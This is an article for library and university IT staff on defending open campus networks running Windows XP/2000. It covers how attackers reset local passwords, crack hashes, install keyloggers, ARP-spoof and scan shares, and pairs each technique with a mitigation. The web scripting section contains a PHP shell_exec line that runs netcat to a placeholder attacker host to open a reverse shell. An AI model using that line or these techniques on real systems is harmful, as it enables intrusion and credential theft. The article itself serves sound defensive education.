Information Security in Campus and Open Environments

Much of an information security professional’s job involves keeping outsiders away from the internal network. A great deal of time and money is spent on firewalls and Intrusion Detection Systems to protect server and client machines from threats coming from the Internet, limiting some attack vectors to only computers on the LAN.

Physical security is also taken into consideration with access cards and locked doors to keep unwanted visitors off of the local network. This is all fine and good for corporate environments, but what about open environments like libraries and university campuses? When an organization’s purpose is the dissemination of knowledge, the paradigm (don’t you just love that word) of information security shifts tremendously and one can not be sure that all users on the LAN are completely benevolent.

This article will be geared towards techies at libraries and schools and will attempt to address common security problems that may pop up at these institutions. I’ll gear the solutions towards Open Source, freeware, and base operating system security in a Windows XP/2k environment to keep the information useful to the largest number of people. Not all of us have the budget to buy software like Deep Freeze or other products to protect our patron workstations. Too many articles recommend expensive solutions when there are plenty of free or cheap solutions available. Links to most of the software mentioned as well as sites for further research can be found here.

A word about terminology

I’ll generally use the term patron to refer to students, faculty, staff and general visitors except where a more specific term is needed.

Also, I will use the term attacker or deviant user instead of “hacker” or “cracker” because the later terms have so many different meanings depending on who you talk to (a hacker is a wood cutter and a cracker is some white dude from Georgia).

Some folks like the terms White Hat Hacker and Grey Hat Hacker, but those are still too flexible (I prefer to consider myself a Plaid Hat Hacker).

A different kind of environment

Institutions like Universities and Libraries are different from the corporate world. You can’t physically lock the patrons out of every computer at your facility. The entire mission of a library or university is to give patrons the tools and information they need to learn and the faculty what they need to teach. At the same time a system administrator has to protect staff and patron workstations from deviant users on the network. Every information security professional worries about internal attacks, but this worry is greatly amplified in a campus or open environment where so many users have physical access to the computers and the network.

So how do we hold back the hordes when the barbarians are already past the gates? In this article I hope to point out some of the common security problems with campus environments and some of the solutions. Many problems may not be solvable because the solution would be counter to the mission of your organization, but with a watchful eye many troubles can be averted.

Local Security on Windows Boxes

It’s an old computer security axiom that if an attacker has physical access to a computer, then he has complete access to the software and data on that computer. It’s well known that all one has to do to get a blank local Administrator password on a Windows 2000 box is to delete the SAM file (on most Win2k systems: c:WINNTsystem32configSAM), a trivial thing to do on a FAT32 file system with a DOS boot disk. Think you’re safe because you use NTFS and/or XP? Think again. With a handy Linux boot disk an attacker can reset any local password, including the Administrator account. There is also Bart’s PE Builder that lets the user make a bootable CD with a cut down version of Windows XP that gives the user complete read/write access to NTFS drives. By using Sala’s Password Renew from a PE Builder boot CD attackers can change any local password they want, including Administrator, or add new admin level accounts altogether.

Now some reader may be thinking: “Those
are just the patron access machines – my staff workstations and file servers are still safe because they are behind locked doors.” Let me share my little horror story about network privilege escalation:

First local frat boy Steven becomes a local admin on a workstation using a boot disk. He then copies off the SAM and SYSTEM files for later cracking with Cain or L0phtcrack. Many folks use the same local admin passwords, allowing Steven to attack other boxes from across the network using the cracked credentials. He then installs a key catcher like WS Keylogger, or maybe something like Fake Gina on the box. Later on, one of the support staff with admin privileges to the file servers and most of the workstations on campus logs in to do some work and in the process has his user name and password saved for later retrieval by Steven. Now Steven has access to most of the boxes on the network.

How does one fight against this problem? Using NTFS helps, but it is not an absolute solution as any Linux boot CD can be used to copy off the files. Putting passwords on the BIOS and setting it to only boot from the hard drive can help, but if you are going to do that you have to go all the way and physically lock the case. Otherwise the attacker can just open up the case and pull the battery or reset the right jumper to get in. Generally the physical locking of the station causes as many problems for the support staff that have to image the system (using Ghost or a similar tool) as it causes for the attacker, but if you don’t plan to nuke and rebuild the machine often then locking the case can be a very good idea. To keep attackers from easily cracking your SAM files you can disable the storage of LM hashes. Another thing to keep in mind is that if you use a password longer than fourteen characters no LM hash will be stored for it. NT hashes can also be cracked of course, but LM hashes are much more vulnerable because they are single case and broken into two easily cracked seven byte chunks. Up to date anti-virus software and regular scans for common key loggers is another good idea. Also setting up regular password expirations can help to mitigate the effects of key loggers and password cracking.

Simple Passwords

How many times have you seen someone use a dictionary word as a local Administrator password? If an attacker can gain admin on a workstation using a boot disk, or just copy off the SAM and SYSTEM files from the hard disk, it’s trivial to crack dictionary passwords using the tools mentioned before, even if LM hash storage is turned off. Samdump2 and John the Ripper can be run from a single boot CD to perform the crack. Attackers can use tools like Brutus or THC-Hydra from across the network to try to crack accounts, but this much slower then a local attack.

Ensure that password policies do not allow easy-to-guess passwords and that someone is watching the event logs for signs of a brute force attack. Forced password changes for the support staff may be a good idea in some cases, but frequent password changes will cause some staff to write their password down and leave it where someone malicious could find it (a post-it note on the monitor is popular). Also avoid using Social Security Numbers as default passwords. Social Security information goes across too many desks at a university to be considered secure. Even work-study students may have access to databases of Social Security Numbers, and such information regularly makes it to recycle containers unshredded. The same thing goes for other personal information that’s easy to find or guess.

Turn off File Sharing and Unneeded Services

Using a host based firewall like the one built in the Windows XP SP2 or ZoneAlarms can be a good idea, but better yet is not to have possibly vulnerable services running in the first place. Turning off file sharing on computers that do not need it is a must. Many types of attacks can be averted if an attacker does not have access to administrative shares. Those faculty and staff who must use file and printer sharing should be taught how to set proper share permissions. By default, Windows 2000 gives the Everyone group full read and write access to shares, and Windows XP gives just Read to the Everyone group. To give an example of how bad this can be, let’s assume a secretary in one of the offices wants to share a database of student names, Social Security Numbers, and addresses with others in the office. She simply right clicks on the folder she wants to share and takes all of the defaults.

Now one of the students is poking around on the network to see what computers are out there and what shares they can get into.

They could just be curious, or they could be looking for other students that have shared out their MP3 and movie collections. They may just browse around using Network Neighborhood, or use an automated tool like Legion or SoftPerfect’s NetScan to find all of the network shares available to them in a certain IP range. While looking around the student comes across a share called “Student Database”; two guesses what kind of information is in it. Scan your own network for open file shares before someone else does. Besides Legion and NetScan there’s also ShareEnum which can scan for shares by Domain/Workgroup or IP range and report what permissions different groups have to the shares.

Disabling unneeded services like Personal Web Server, SNMP, Simple TCP/IP Services and others can also go a long way to cutting down on potential exploits. Even a system that is behind on service packs and hot fixes can’t be exploited if the vulnerable services aren’t there to begin with.

Turn off anything that is not used and pay attention to what is being installed on the network.

Unread Logs

Watch the web and security event logs. There are many times where I would not have noticed attackers on the network if it were not for looking in Event Viewer for failed login attempts.

Naturally logging must be turned on for this to work so open up MMC (Microsoft Management Console), add Security Configuration and Analysis, and setup logging of failed logins and access attempts. Better yet, set up a GPO (Group Policy Object) to automatically configure security auditing when a machine logs on to the network.

If an IDS (Intrusion Detection System) is running at the facility make sure someone is looking at the logs. An IDS like Snort is useless if no one actually looks at what is reported.

Web/ASP/PHP

Most universities give students and staff the ability to create their own web pages on a campus web server. Sometimes the users can even create ASP or PHP files for their website to make them more dynamic.

With PHP installed and configured insecurely a user could run an arbitrary program in their web folder, for example Netcat, with a command like this:

$x = shell_exec(“nc AttackingBoxIP 30 -e cmd “);

The previous command shovels a shell back to the attackers, allowing them command line access to the web server and from there they could leap frog to other machines and have their identity obscured as that of the web server. Active Server Pages have similar functionality (Wscript.shell).

Using methods similar to these, a user could view the source code of other Active Server Pages (possibly revealing ODBC passwords), or if the web servers file system is Fat32 or the NTFS permissions are overly permissive, they could edit other web pages or system files. The same thing goes for Apache/*nix web servers with overly broad permissions (chmod 666 is the mark of the beast when it comes to insecure file permissions). To help limit these risks always use proper file permissions and limit what a user can script (see www.php.net for information on using the safe_mode directive in PHP, see Microsoft Knowledgebase article Q278319 for limiting the use of Wscript.shell in Active Server Pages).

Shared Passwords

I’ve worked in environments where system administration authority is centralized and the central management won’t give the support staff at regional facilities the access rights they need to get their jobs done. This may be done in the name of security, but it can have a negative effect on the overall security of the organization. If support staff members need certain rights they should be given them, otherwise it leads to password sharing and the use of single accounts that have many users. This can cause major problems for accountability and damage control.

Let’s say Kevin has rights to add new machines into the domain, but his staff does not. The central administration does not want to give anyone else the needed rights but Kevin. For Kevin and his staff to get their jobs done Kevin must give his password to his staff members, but what if someone decides to do something “deviant” with the account? The responsible party would be harder to trace because so many staff members have access to the account. Another example is when a support staff member is given the local Administrator passwords to workstations instead of being put into a Domain security group. If that employee is later terminated it’s much harder to contain the damage they can do because even if they are taken out of the support staff security groups they still know other staff’s passwords and the local Administrator passwords. It’s very important to implement a password change policy for when staff leaves the organization.

Insecure Protocols and Sniffing

When possible, insecure protocols that pass credentials in plain text across the network should not be used. Common examples of such insecure protocols are FTP, telnet, POP3, SMTP, and HTTP. In their place use encrypted protocols like SFTP, SSH (Secure Shell), and HTTPS when possible. Protocols like FTP may be hard to switch away from because the clients and servers for more secure protocols like SFTP are not as readily available. FTP clients come with every recent version of Windows (ftp.exe from the command line and Explorer from a GUI), but free clients that support SFTP, like FileZilla and PSFTP, can be downloaded.
Even with a switched network it’s not hard for an attacker on the same subnet/VLAN to use Ettercap or Dsniff from an Auditor boot CD to do some arpspoofing (also know as ARP Poisoning) and redirect traffic through their host for the purpose of sniffing. These tools can even parse out user names and passwords automatically, making the attacker’s job easy. If the attacker arpspoofs between the gateway and the FTP server he can sniff the traffic and extract user names and passwords as users are trying to get their data from offsite, and the same thing goes for SMTP and POP3. Even with SFTP, SSL, and SSH, passwords can still be sniffed with Ettercap because it has the ability to proxy those types of connections.

The user might get a warning that the public key of the server they are trying to get to has changed or may not be valid, but how many users just click past those kinds of messages without actually reading them?

Since an attacker has to be on the same subnet/VLAN as the box he is arpspoofing it’s a good idea to split the staff and public networks into at least two subnets/VLANS (and possibly put a firewall between them). If you wish to be on the look out for potential sniffers on your network there are a few tools that can help. ARPWatch will log MAC address to IP mappings and can alert system administrators to changes that may signify that someone is arpspoofing the network. Tools like Sentinel and Sniffdet can be used to ferret out hosts that have their network card in promiscuous mode (accepting all traffic the NIC can see, not just broadcasts and traffic destined for its MAC address).

Trashing

Be careful what you throw away. Make sure printouts with patron information are disposed of properly.

A good cross cut paper shredder should do the trick, but if you’re very paranoid you may want to look into incineration. Make sure all disk based media is also destroyed or wiped properly. Just deleting the contents of a disk is not enough; tools like Brian Kato’s Restoration can be used to search the slack space on disks, hard drives and flash media for deleted files.

There are several effective methods for destroying digital data before trashing old media. Media like diskettes and CDs/DVDs can be broken apart, or shredders can be bought that are especially designed to do the job. The most cost effective means is to take a pair of tough shears and cut the diskette or CD into bits, but make sure goggles are worn to protect the wearers eyes from flying shards.

Hard drives and flash media can be wiped with tools like Eraser which securely overwrites data on the hard drive so that even magnetic force microscopy techniques will have a hard time recovering any of the data. If your organization does not plan to donate the hardware after they are finished with it they can obtain a large hard drive degausser to permanently scramble the disks. Just keep in mind that the drive will be unusable after it’s degaussed.

Patch, Patch, Patch

While making sure that unneeded services are disabled limits the scope of potential exploits, patching is still important. Know what systems are on the network and patch them in a timely manner.

If most of your workstations are Windows based look into setting up a WSUS or SUS Server at your facility and push out updates automatically using a GPO (Group Policy Object). For Linux boxes make sure that you choose a distribution that has an easy way to update packages as security vulnerabilities are found.

I personally like Debian based systems since most of the time all that is needed is a quick “apt-get update;apt-get dist-upgrade” command to update all of the installed packages. Most distributions will have and update application of some kind so check the vendor’s website for information on applying updates.

For third party application that are not covered by the update tools built into the OS go to the trouble of having someone at your facility sign up with the vendors mailing list so that they are notified when a new version of the software is released.

Know what’s out there

Patching is very important, but you have to know what’s running on your network before you can patch it. Open Source tools like Nmap and Nessus can be used to find out what kinds of operating systems and services are running on your network. WMI scripts and Microsoft Baseline Security Analyzer can be used to find out what service packs and hot fixes a Windows box is running. Some might be surprised how many machines on their network are running outdated, exploit-vulnerable operating systems and software. Once you know what Operating Systems and services are out there go patch them.

A Word on Wireless

If your facility offers 802.11 (A, B or G) wireless connectivity quite a few new issues arise. This topic should be in an article onto itself, but I’ll mention a few major points here.

Since you can’t control what patrons have on their laptops and other wireless devices it’s harder to keep certain kinds of malware off of the network. A worm that’s blocked by your Internet facing firewall may have no problem spreading from an infected laptop that a patron brings onto the wireless network. A good practice is to have the wireless side of the network firewalled from the wired side.

Assuming you offer completely open Wi-Fi access keep in mind that all of the traffic can be sniffed. This may not be an issue to you, but it’s something patrons should be aware of.

Most of the information provided in the “Insecure Protocols and Sniffing” section of this article applies to Wi-Fi as well. WEP (Wired Equivalent Privacy) and WPA (Wi-Fi Protected Access) can be used to encrypt data sent on the wireless network but there are both ungainly to set up on computers your facility does not control (your patrons laptops and other wireless devices).

WEP is nearly useless in open environments like a campus since anyone with the key can read the data sent from other wireless stations. WEP also does not allow for individual use authentication if your organization wants to know who did what when and where.

WPA with a PSK (pre-shared key) is nice in that even with every user using the same PSK they can’t sniff each others network traffic because of TKIP (Temporal Key Integrity Protocol). Like WEP, WPA using a PSK does not allow for individual user authentication. Luckily WPA will also work with a 802.1X authentication server, but that may be a harder solution to implement then a simple VPN.

Another problem with WPA is getting support for it on older hardware; sometimes the proper drivers and firmware are hard to come by.

The easiest solution in many cases is to just set up a user authenticated VPN (Virtual Private Network) using a Windows 2000/2003 (or even a Windows XP box, though I’m not recommending it) or a Linux server. Some will recommend using MAC address filtering as a form of authentication. I personally am not in favor of using MAC address filtering as it’s less flexible, does not offer encryption of the data by itself, and is easy to get around. MAC address filtering alone may keep out the novice, but a knowledgeable attacker will fire up a passive wardriving tool like Kismet and look for valid client MAC addresses as they connect. They will then set their wireless cards MAC address to that of a valid client.

Conclusion

In closing let me say that an information security professional in a campus environment is fighting a losing battle from the start. By their very nature university and library systems are more open and accessible than corporate systems and must remain so to be useful to the patrons, students, staff, and faculty who use them. Even though you can’t make your campus’ or library’s network completely secure and still useable, you can do your best to limit the efforts of the casual attacker. The less casual ones you can hire.

Adrian Crenshaw has worked for a large Midwest university for the last nine years and does computer security research for the website IronGeek.